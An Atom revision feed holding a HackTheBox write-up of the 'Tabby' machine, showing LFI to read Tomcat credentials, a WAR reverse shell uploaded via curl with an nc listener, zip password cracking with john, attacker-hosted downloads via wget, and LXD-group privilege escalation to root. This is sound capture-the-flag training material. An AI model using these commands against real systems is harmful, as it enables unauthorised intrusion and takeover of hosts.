<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FTabby</id>
	<title>Write-ups/HTB/Tabby - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FTabby"/>
	<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Tabby&amp;action=history"/>
	<updated>2026-04-21T14:48:20Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Write-ups/HTB/Tabby&amp;diff=1200&amp;oldid=prev</id>
		<title>imported&gt;Aghanim at 12:29, 5 April 2022</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Tabby&amp;diff=1200&amp;oldid=prev"/>
		<updated>2022-04-05T12:29:19Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;{{Infobox WriteUp&lt;br /&gt;
| name = Tabby&lt;br /&gt;
| platform = HackTheBox&lt;br /&gt;
| os = Linux&lt;br /&gt;
| difficulty = Easy&lt;br /&gt;
| techniques = Tomcat LFI, LXD Privesc&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[File:2022-04-Tabby.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On this Linux machine I abused LFI to find the password for admin panel for Tomcat. From there I used CLI to upload .WAR file to get a reverse shell. In /var/www there was a zip file which was password protected. Cracking the password using John, we find the credentials for the user Ash. From there we can see that Ash was a member of lxdf and lxd was installed on the machine. This allows the user to start a container.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Enumeration ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== NMAP ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/tabby]&lt;br /&gt;
└─# cat nmap.ver&lt;br /&gt;
# Nmap 7.92 scan initiated Thu Feb 10 06:25:14 2022 as: nmap -sC -sV -p- --min-rate 10000 -oN nmap.ver 10.10.10.194&lt;br /&gt;
Nmap scan report for 10.10.10.194&lt;br /&gt;
Host is up (0.046s latency).&lt;br /&gt;
Not shown: 65532 closed tcp ports (reset)&lt;br /&gt;
PORT     STATE SERVICE VERSION&lt;br /&gt;
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)&lt;br /&gt;
| ssh-hostkey:&lt;br /&gt;
|   3072 45:3c:34:14:35:56:23:95:d6:83:4e:26:de:c6:5b:d9 (RSA)&lt;br /&gt;
|   256 89:79:3a:9c:88:b0:5c:ce:4b:79:b1:02:23:4b:44:a6 (ECDSA)&lt;br /&gt;
|_  256 1e:e7:b9:55:dd:25:8f:72:56:e8:8e:65:d5:19:b0:8d (ED25519)&lt;br /&gt;
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))&lt;br /&gt;
|_http-title: Mega Hosting&lt;br /&gt;
|_http-server-header: Apache/2.4.41 (Ubuntu)&lt;br /&gt;
8080/tcp open  http    Apache Tomcat&lt;br /&gt;
|_http-title: Apache Tomcat&lt;br /&gt;
|_http-open-proxy: Proxy might be redirecting requests&lt;br /&gt;
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Webpage ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:image-20200622154515612.png|thumb|image-20200622154515612]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Source code ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Looking at the source code we can see that its pointing to &amp;#039;&amp;#039;&amp;#039;megahosting.htb. &amp;#039;&amp;#039;&amp;#039;I add that to /etc/hosts. But one of the parameteres lookls like it can be vulnerable to LFI.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-04-Pasted-image-20220210152734.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== LFI ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I confirm that LFI is present.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-04-Pasted-image-20220210140923.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Initial Access - Shell as tomcat ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Credentials for Tomcat ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Looking at this webpage we can see at the bottom that users are defined in &amp;#039;&amp;#039;&amp;#039;/etc/tomcat9/tomcat-users.xml&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-04-Pasted-image-20220210152629.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-04-Pasted-image-20220210141847.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Using LFI we get login credentials. &amp;#039;&amp;#039;&amp;#039;tomcat:$3cureP4s5w0rd123&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Upload webshell ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I can only access &amp;#039;&amp;#039;&amp;#039;host-manager &amp;#039;&amp;#039;&amp;#039;but not &amp;#039;&amp;#039;&amp;#039;manager. &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-04-Pasted-image-20220210153559.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-04-Pasted-image-20220210153629.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Tomcat user do have another permissino, manager-script. This is to allow text based services at /manager/text. https://tomcat.apache.org/tomcat-9.0-doc/manager-howto.html#Supported_Manager_Commands&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To upload a shell we generate a payload using msfvenom and upload it using curl.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/tabby]&lt;br /&gt;
└─# curl -u &amp;#039;tomcat:$3cureP4s5w0rd123!&amp;#039; http://10.10.10.194:8080/manager/text/deploy?path=/test --upload-file shell.war&lt;br /&gt;
OK - Deployed application at context path [/test]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Shell as tomcat ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Curl /test to get a reverse shell&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/tabby]&lt;br /&gt;
└─# curl http://10.10.10.194/test&lt;br /&gt;
&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/tabby]&lt;br /&gt;
└─# nc -lvnp  4444                                                                                                                                                                     255 ⨯&lt;br /&gt;
listening on [any] 4444 ...&lt;br /&gt;
connect to [10.10.14.18] from (UNKNOWN) [10.10.10.194] 35444&lt;br /&gt;
whoami&lt;br /&gt;
tomcat&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Shell as Ash ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In /var/www/html/files there is a backup file. The backup file is password protected. I transfered it to attacker machine and used zip2john to crack the password, which gave me the password to Ash.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
tomcat@tabby:/var/www/html/files$ ls -l&lt;br /&gt;
total 28&lt;br /&gt;
-rw-r--r-- 1 ash  ash  8716 Jun 16 13:42 16162020_backup.zip&lt;br /&gt;
drwxr-xr-x 2 root root 4096 Jun 16 20:13 archive&lt;br /&gt;
drwxr-xr-x 2 root root 4096 Jun 16 20:13 revoked_certs&lt;br /&gt;
-rw-r--r-- 1 root root 6507 Jun 16 11:25 statement&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/tabby]&lt;br /&gt;
└─# john ziphash.john --wordlist=/usr/share/wordlists/rockyou.txt&lt;br /&gt;
Using default input encoding: UTF-8&lt;br /&gt;
Loaded 1 password hash (PKZIP [32/64])&lt;br /&gt;
Will run 3 OpenMP threads&lt;br /&gt;
Press &amp;#039;q&amp;#039; or Ctrl-C to abort, almost any other key for status&lt;br /&gt;
admin@it         (16162020_backup.zip)&lt;br /&gt;
1g 0:00:00:00 DONE (2020-06-22 21:21) 1.030g/s 10679Kp/s 10679Kc/s 10679KC/s adorovospessoal..adilizrar&lt;br /&gt;
Use the &amp;quot;--show&amp;quot; option to display all of the cracked passwords reliably&lt;br /&gt;
Session completed&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Root - Abusing LXC/LXD memebership ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
From enumeration we can see that the user Ash is a member of the lxd group.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ id&lt;br /&gt;
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I&amp;#039;ll use [https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation hacktricks technique] to abuse lxc/lxd.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Step 1 ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/…/HTB/tabby/containerimages/alpine]&lt;br /&gt;
└─# sudo /root/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8&lt;br /&gt;
&lt;br /&gt;
┌──(root💀kali)-[/home/…/HTB/tabby/containerimages/alpine]&lt;br /&gt;
└─# ls&lt;br /&gt;
alpine.yaml  lxd.tar.xz  rootfs.squashfs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Step 2 ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ wget http://10.10.14.18:9000/lxd.tar.xz&lt;br /&gt;
--2022-02-10 14:04:26--  http://10.10.14.18:9000/lxd.tar.xz&lt;br /&gt;
Connecting to 10.10.14.18:9000... connected.&lt;br /&gt;
HTTP request sent, awaiting response... 200 OK&lt;br /&gt;
Length: 844 [application/x-xz]&lt;br /&gt;
Saving to: ‘lxd.tar.xz’&lt;br /&gt;
&lt;br /&gt;
lxd.tar.xz          100%[===================&amp;gt;]     844  --.-KB/s    in 0s&lt;br /&gt;
&lt;br /&gt;
2022-02-10 14:04:26 (105 MB/s) - ‘lxd.tar.xz’ saved [844/844]&lt;br /&gt;
&lt;br /&gt;
ash@tabby:~$ wget http://10.10.14.18:9000/rootfs.squashfs&lt;br /&gt;
--2022-02-10 14:04:36--  http://10.10.14.18:9000/rootfs.squashfs&lt;br /&gt;
Connecting to 10.10.14.18:9000... connected.&lt;br /&gt;
HTTP request sent, awaiting response... 200 OK&lt;br /&gt;
Length: 2052096 (2.0M) [application/octet-stream]&lt;br /&gt;
Saving to: ‘rootfs.squashfs’&lt;br /&gt;
&lt;br /&gt;
rootfs.squashfs     100%[===================&amp;gt;]   1.96M  4.02MB/s    in 0.5s&lt;br /&gt;
&lt;br /&gt;
2022-02-10 14:04:37 (4.02 MB/s) - ‘rootfs.squashfs’ saved [2052096/2052096]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Step 3 ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc image import lxd.tar.xz rootfs.squashfs --alias alpine&lt;br /&gt;
ash@tabby:~$ lxc image list&lt;br /&gt;
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+&lt;br /&gt;
| ALIAS  | FINGERPRINT  | PUBLIC |              DESCRIPTION               | ARCHITECTURE |   TYPE    |  SIZE  |         UPLOAD DATE          |&lt;br /&gt;
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+&lt;br /&gt;
| alpine | 9c716211a82e | no     | Alpinelinux 3.8 x86_64 (20220210_1356) | x86_64       | CONTAINER | 1.96MB | Feb 10, 2022 at 2:04pm (UTC) |&lt;br /&gt;
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Step 4 ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true&lt;br /&gt;
Creating privesc&lt;br /&gt;
Error: No storage pool found. Please create a new storage pool&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Fix no storage pool found with lxd init ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true&lt;br /&gt;
Creating privesc&lt;br /&gt;
ash@tabby:~$ lxd init&lt;br /&gt;
Would you like to use LXD clustering? (yes/no) [default=no]: ye^H^H^H^H^C&lt;br /&gt;
ash@tabby:~$ lxd init&lt;br /&gt;
Would you like to use LXD clustering? (yes/no) [default=no]:&lt;br /&gt;
Do you want to configure a new storage pool? (yes/no) [default=yes]: yes&lt;br /&gt;
Name of the new storage pool [default=default]: h^Hhel^H^H^[^H^C&lt;br /&gt;
ash@tabby:~$ lxd init&lt;br /&gt;
Would you like to use LXD clustering? (yes/no) [default=no]:&lt;br /&gt;
Do you want to configure a new storage pool? (yes/no) [default=yes]: yes&lt;br /&gt;
Name of the new storage pool [default=default]: hello&lt;br /&gt;
Name of the storage backend to use (dir, lvm, zfs, ceph, btrfs) [default=zfs]: z^H&lt;br /&gt;
Invalid input, try again.&lt;br /&gt;
&lt;br /&gt;
Name of the storage backend to use (dir, lvm, zfs, ceph, btrfs) [default=zfs]:&lt;br /&gt;
Create a new ZFS pool? (yes/no) [default=yes]: yes^H^H&lt;br /&gt;
Invalid input, try again.&lt;br /&gt;
&lt;br /&gt;
Create a new ZFS pool? (yes/no) [default=yes]:&lt;br /&gt;
Would you like to use an existing empty block device (e.g. a disk or partition)? (yes/no) [default=no]:&lt;br /&gt;
Size in GB of the new loop device (1GB minimum) [default=5GB]:&lt;br /&gt;
Would you like to connect to a MAAS server? (yes/no) [default=no]:&lt;br /&gt;
Would you like to create a new local network bridge? (yes/no) [default=yes]:&lt;br /&gt;
What should the new bridge be called? [default=lxdbr0]:&lt;br /&gt;
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:&lt;br /&gt;
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:&lt;br /&gt;
Would you like the LXD server to be available over the network? (yes/no) [default=no]:&lt;br /&gt;
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]&lt;br /&gt;
Would you like a YAML &amp;quot;lxd init&amp;quot; preseed to be printed? (yes/no) [default=no]:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Step 5 ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true&lt;br /&gt;
Creating privesc&lt;br /&gt;
ash@tabby:~$ lxc list&lt;br /&gt;
+---------+---------+------+------+-----------+-----------+&lt;br /&gt;
|  NAME   |  STATE  | IPV4 | IPV6 |   TYPE    | SNAPSHOTS |&lt;br /&gt;
+---------+---------+------+------+-----------+-----------+&lt;br /&gt;
| privesc | STOPPED |      |      | CONTAINER | 0         |&lt;br /&gt;
+---------+---------+------+------+-----------+-----------+&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Step 6 ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true&lt;br /&gt;
Device host-root added to privesc&lt;br /&gt;
ash@tabby:~$ lxc start privesc&lt;br /&gt;
ash@tabby:~$ lxc exec privesc /bin/sh&lt;br /&gt;
~ # id&lt;br /&gt;
uid=0(root) gid=0(root)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Step 7 ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
~ # find / -name root.txt&lt;br /&gt;
/mnt/root/root/root.txt&lt;br /&gt;
~ # cd /mnt/root/root/&lt;br /&gt;
/mnt/root/root # cat root.txt&lt;br /&gt;
0045196...........&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:HackTheBox]]&lt;br /&gt;
[[Category:Linux]]&lt;br /&gt;
[[Category:Write-ups]]&lt;/div&gt;</summary>
		<author><name>imported&gt;Aghanim</name></author>
	</entry>
</feed>